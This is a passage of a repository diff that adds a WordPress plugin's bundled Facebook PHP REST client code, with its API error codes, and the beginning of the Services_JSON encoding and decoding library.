+      $result = $this->convert_xml_to_result($xml, $method, $params);
+      if (is_array($result) && isset($result['error_code'])) {
+        throw new FacebookRestClientException($result['error_msg'], $result['error_code']);
+      }
+    }
+    else {
+      $result = null;
+      $batch_item = array('m' => $method, 'p' => $params, 'r' => & $result);
+      $this->batch_queue[] = $batch_item;
+    }
+
+    return $result;
+  }
+
+  private function convert_xml_to_result($xml, $method, $params) {
+    $sxml = simplexml_load_string($xml);
+    $result = self::convert_simplexml_to_array($sxml);
+
+
+    if (!empty($GLOBALS['facebook_config']['debug'])) {
+      // output the raw xml and its corresponding php object, for debugging:
+      print '<div style="margin: 10px 30px; padding: 5px; border: 2px solid black; background: gray; color: white; font-size: 12px; font-weight: bold;">';
+      $this->cur_id++;
+      print $this->cur_id . ': Called ' . $method . ', show ' .
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'params\');">Params</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'xml\');">XML</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'sxml\');">SXML</a> | '.
+            '<a href=# onclick="return toggleDisplay(' . $this->cur_id . ', \'php\');">PHP</a>';
+      print '<pre id="params'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($params, true).'</pre>';
+      print '<pre id="xml'.$this->cur_id.'" style="display: none; overflow: auto;">'.htmlspecialchars($xml).'</pre>';
+      print '<pre id="php'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($result, true).'</pre>';
+      print '<pre id="sxml'.$this->cur_id.'" style="display: none; overflow: auto;">'.print_r($sxml, true).'</pre>';
+      print '</div>';
+    }
+    return $result;
+  }
+
+
+
+  private function create_post_string($method, $params) {
+    $params['method'] = $method;
+    $params['session_key'] = $this->session_key;
+    $params['api_key'] = $this->api_key;
+    $params['call_id'] = microtime(true);
+    if ($params['call_id'] <= $this->last_call_id) {
+      $params['call_id'] = $this->last_call_id + 0.001;
+    }
+    $this->last_call_id = $params['call_id'];
+    if (!isset($params['v'])) {
+      $params['v'] = '1.0';
+    }
+    $post_params = array();
+    foreach ($params as $key => &$val) {
+      if (is_array($val)) $val = implode(',', $val);
+      $post_params[] = $key.'='.urlencode($val);
+    }
+    $secret = $this->secret;
+    $post_params[] = 'sig='.Facebook::generate_sig($params, $secret);
+    return implode('&', $post_params);
+  }
+
+  public function post_request($method, $params) {
+
+    $post_string = $this->create_post_string($method, $params);
+
+    if (function_exists('curl_init')) {
+      // Use CURL if installed...
+      $ch = curl_init();
+      curl_setopt($ch, CURLOPT_URL, $this->server_addr);
+      curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
+      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+      curl_setopt($ch, CURLOPT_USERAGENT, 'Facebook API PHP5 Client 1.1 (curl) ' . phpversion());
+      $result = curl_exec($ch);
+      curl_close($ch);
+    } else {
+      // Non-CURL based version...
+      $context =
+        array('http' =>
+              array('method' => 'POST',
+                    'header' => 'Content-type: application/x-www-form-urlencoded'."\r\n".
+                                'User-Agent: Facebook API PHP5 Client 1.1 (non-curl) '.phpversion()."\r\n".
+                                'Content-length: ' . strlen($post_string),
+                    'content' => $post_string));
+      $contextid=stream_context_create($context);
+      $sock=fopen($this->server_addr, 'r', false, $contextid);
+      if ($sock) {
+        $result='';
+        while (!feof($sock))
+          $result.=fgets($sock, 4096);
+
+        fclose($sock);
+      }
+    }
+    return $result;
+  }
+
+  public static function convert_simplexml_to_array($sxml) {
+    $arr = array();
+    if ($sxml) {
+      foreach ($sxml as $k => $v) {
+        if ($sxml['list']) {
+          $arr[] = self::convert_simplexml_to_array($v);
+        } else {
+          $arr[$k] = self::convert_simplexml_to_array($v);
+        }
+      }
+    }
+    if (sizeof($arr) > 0) {
+      return $arr;
+    } else {
+      return (string)$sxml;
+    }
+  }
+
+}
+
+
+class FacebookRestClientException extends Exception {
+}
+
+// Supporting methods and values------
+
+/**
+ * Error codes and descriptions for the Facebook API.
+ */
+
+class FacebookAPIErrorCodes {
+
+  const API_EC_SUCCESS = 0;
+
+  /*
+   * GENERAL ERRORS
+   */
+  const API_EC_UNKNOWN = 1;
+  const API_EC_SERVICE = 2;
+  const API_EC_METHOD = 3;
+  const API_EC_TOO_MANY_CALLS = 4;
+  const API_EC_BAD_IP = 5;
+
+  /*
+   * PARAMETER ERRORS
+   */
+  const API_EC_PARAM = 100;
+  const API_EC_PARAM_API_KEY = 101;
+  const API_EC_PARAM_SESSION_KEY = 102;
+  const API_EC_PARAM_CALL_ID = 103;
+  const API_EC_PARAM_SIGNATURE = 104;
+  const API_EC_PARAM_USER_ID = 110;
+  const API_EC_PARAM_USER_FIELD = 111;
+  const API_EC_PARAM_SOCIAL_FIELD = 112;
+  const API_EC_PARAM_ALBUM_ID = 120;
+  const API_EC_PARAM_BAD_EID = 150;
+  const API_EC_PARAM_UNKNOWN_CITY = 151;
+
+  /*
+   * USER PERMISSIONS ERRORS
+   */
+  const API_EC_PERMISSION = 200;
+  const API_EC_PERMISSION_USER = 210;
+  const API_EC_PERMISSION_ALBUM = 220;
+  const API_EC_PERMISSION_PHOTO = 221;
+  const API_EC_PERMISSION_EVENT = 290;
+  const API_EC_PERMISSION_RSVP_EVENT = 299;
+
+  const FQL_EC_PARSER = 601;
+  const FQL_EC_UNKNOWN_FIELD = 602;
+  const FQL_EC_UNKNOWN_TABLE = 603;
+  const FQL_EC_NOT_INDEXABLE = 604;
+
+  /**
+   * DATA STORE API ERRORS
+   */
+  const API_EC_DATA_UNKNOWN_ERROR = 800;
+  const API_EC_DATA_INVALID_OPERATION = 801;
+  const API_EC_DATA_QUOTA_EXCEEDED = 802;
+  const API_EC_DATA_OBJECT_NOT_FOUND = 803;
+  const API_EC_DATA_OBJECT_ALREADY_EXISTS = 804;
+  const API_EC_DATA_DATABASE_ERROR = 805;
+
+
+  /*
+   * Batch ERROR
+   */
+  const API_EC_BATCH_ALREADY_STARTED = 900;
+  const API_EC_BATCH_NOT_STARTED = 901;
+  const API_EC_BATCH_METHOD_NOT_ALLOWED_IN_BATCH_MODE = 902;
+
+  public static $api_error_descriptions = array(
+      API_EC_SUCCESS           => 'Success',
+      API_EC_UNKNOWN           => 'An unknown error occurred',
+      API_EC_SERVICE           => 'Service temporarily unavailable',
+      API_EC_METHOD            => 'Unknown method',
+      API_EC_TOO_MANY_CALLS    => 'Application request limit reached',
+      API_EC_BAD_IP            => 'Unauthorized source IP address',
+      API_EC_PARAM             => 'Invalid parameter',
+      API_EC_PARAM_API_KEY     => 'Invalid API key',
+      API_EC_PARAM_SESSION_KEY => 'Session key invalid or no longer valid',
+      API_EC_PARAM_CALL_ID     => 'Call_id must be greater than previous',
+      API_EC_PARAM_SIGNATURE   => 'Incorrect signature',
+      API_EC_PARAM_USER_ID     => 'Invalid user id',
+      API_EC_PARAM_USER_FIELD  => 'Invalid user info field',
+      API_EC_PARAM_SOCIAL_FIELD => 'Invalid user field',
+      API_EC_PARAM_ALBUM_ID    => 'Invalid album id',
+      API_EC_PARAM_BAD_EID     => 'Invalid eid',
+      API_EC_PARAM_UNKNOWN_CITY => 'Unknown city',
+      API_EC_PERMISSION        => 'Permissions error',
+      API_EC_PERMISSION_USER   => 'User not visible',
+      API_EC_PERMISSION_ALBUM  => 'Album not visible',
+      API_EC_PERMISSION_PHOTO  => 'Photo not visible',
+      API_EC_PERMISSION_EVENT  => 'Creating and modifying events required the extended permission create_event',
+      API_EC_PERMISSION_RSVP_EVENT => 'RSVPing to events required the extended permission rsvp_event',
+      FQL_EC_PARSER            => 'FQL: Parser Error',
+      FQL_EC_UNKNOWN_FIELD     => 'FQL: Unknown Field',
+      FQL_EC_UNKNOWN_TABLE     => 'FQL: Unknown Table',
+      FQL_EC_NOT_INDEXABLE     => 'FQL: Statement not indexable',
+      FQL_EC_UNKNOWN_FUNCTION  => 'FQL: Attempted to call unknown function',
+      FQL_EC_INVALID_PARAM     => 'FQL: Invalid parameter passed in',
+      API_EC_DATA_UNKNOWN_ERROR => 'Unknown data store API error',
+      API_EC_DATA_INVALID_OPERATION => 'Invalid operation',
+      API_EC_DATA_QUOTA_EXCEEDED => 'Data store allowable quota was exceeded',
+      API_EC_DATA_OBJECT_NOT_FOUND => 'Specified object cannot be found',
+      API_EC_DATA_OBJECT_ALREADY_EXISTS => 'Specified object already exists',
+      API_EC_DATA_DATABASE_ERROR => 'A database error occurred. Please try again',
+      API_EC_BATCH_ALREADY_STARTED => 'begin_batch already called, please make sure to call end_batch first',
+      API_EC_BATCH_NOT_STARTED => 'end_batch called before start_batch',
+      API_EC_BATCH_METHOD_NOT_ALLOWED_IN_BATCH_MODE => 'this method is not allowed in batch mode',
+  );
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/JSON.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/JSON.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/JSON.php	(revision 44)
@@ -0,0 +1,806 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+    }
+
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch(strlen($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = strlen($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+
+                return '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, 'encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+                $vars = get_object_vars($var);
+
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = substr($str, 0, 1);
+                    $chrs = substr($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+                                       . chr(hexdec(substr($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = substr($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = substr($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
